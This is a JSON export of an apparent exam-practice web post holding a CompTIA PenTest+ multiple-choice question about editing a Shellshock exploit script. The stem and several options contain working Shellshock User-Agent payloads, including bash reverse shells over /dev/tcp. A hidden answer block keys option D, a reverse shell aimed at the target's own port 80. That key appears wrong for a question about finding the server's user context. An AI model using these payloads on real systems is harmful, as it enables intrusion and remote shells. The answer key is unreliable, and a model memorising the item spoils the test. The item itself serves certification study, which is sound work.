{"id":60,"date":"2022-11-26T07:50:01","date_gmt":"2022-11-26T07:50:01","guid":{"rendered":"https:\/\/exampracticetests.com\/c\/PT0-002\/comptia-pentest-pt0-002-question052\/"},"modified":"2022-11-26T07:50:01","modified_gmt":"2022-11-26T07:50:01","slug":"comptia-pentest-pt0-002-question052","status":"publish","type":"post","link":"https:\/\/exampracticetests.com\/c\/PT0-002\/comptia-pentest-pt0-002-question052\/","title":{"rendered":"CompTIA PenTest+ PT0-002 &#8211; Question052"},"content":{"rendered":"<div class=\"question\">A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:<br \/>\nexploit = {&quot;User-Agent&quot;: &quot;() { ignored;};\/bin\/bash -i&gt;&amp; \/dev\/tcp\/127.0.0.1\/9090 0&gt;&amp;1&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml&quot;}<br \/>\nWhich of the following edits should the tester make to the script to determine the user context in which the server is being run?<br \/><strong><br \/>A.<\/strong> exploit = {&quot;User-Agent&quot;: &quot;() { ignored;};\/bin\/bash -i id;whoami&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml&quot;}<br \/><strong>B.<\/strong> exploit = {&quot;User-Agent&quot;: &quot;() { ignored;};\/bin\/bash -i&gt;&amp; find \/ -perm -4000&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml&quot;}<br \/><strong>C.<\/strong> exploit = {&quot;User-Agent&quot;: &quot;() { ignored;};\/bin\/sh -i ps -ef&quot; 0&gt;&amp;1&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml&quot;}<br \/><strong>D.<\/strong> exploit = {&quot;User-Agent&quot;: &quot;() { ignored;};\/bin\/bash -i&gt;&amp; \/dev\/tcp\/10.10.1.1\/80&quot; 0&gt;&amp;1&quot; &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml&quot;}<\/div>\n<p><\/p>\n<style> .hidden-div{ display:none } <\/style>\n<p>\t\t\t\t\t\t\t<button onclick=\"getElementById('hidden-div').style.display = 'block'\"> Show Answer <\/button> <button onclick=\"getElementById('hidden-div').style.display = 'none'\">Hide Answer<\/button><\/p>\n<div class=\"hidden-div\" id=\"hidden-div\"><span style=\"\"><\/p>\n<div class=\"answer\">Correct Answer: <strong>D<\/strong><\/div>\n<p><\/strong><\/span> <\/div>\n","protected":false},"excerpt":{"rendered":"<p>A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {&quot;User-Agent&quot;: &quot;() { ignored;};\/bin\/bash -i&gt;&amp; \/dev\/tcp\/127.0.0.1\/9090 0&gt;&amp;1&quot;, &quot;Accept&quot;: &quot;text\/html,application\/xhtml+xml,application\/xml&quot;} Which of the following edits should the tester make to the script to determine the user [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[3,55],"class_list":["post-60","post","type-post","status-publish","format-standard","hentry","category-comptia-pentest-pt0-002","tag-comptia-pentest-pt0-002","tag-question-052"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts\/60","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/comments?post=60"}],"version-history":[{"count":0,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/posts\/60\/revisions"}],"wp:attachment":[{"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/media?parent=60"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/categories?post=60"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/exampracticetests.com\/c\/PT0-002\/wp-json\/wp\/v2\/tags?post=60"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}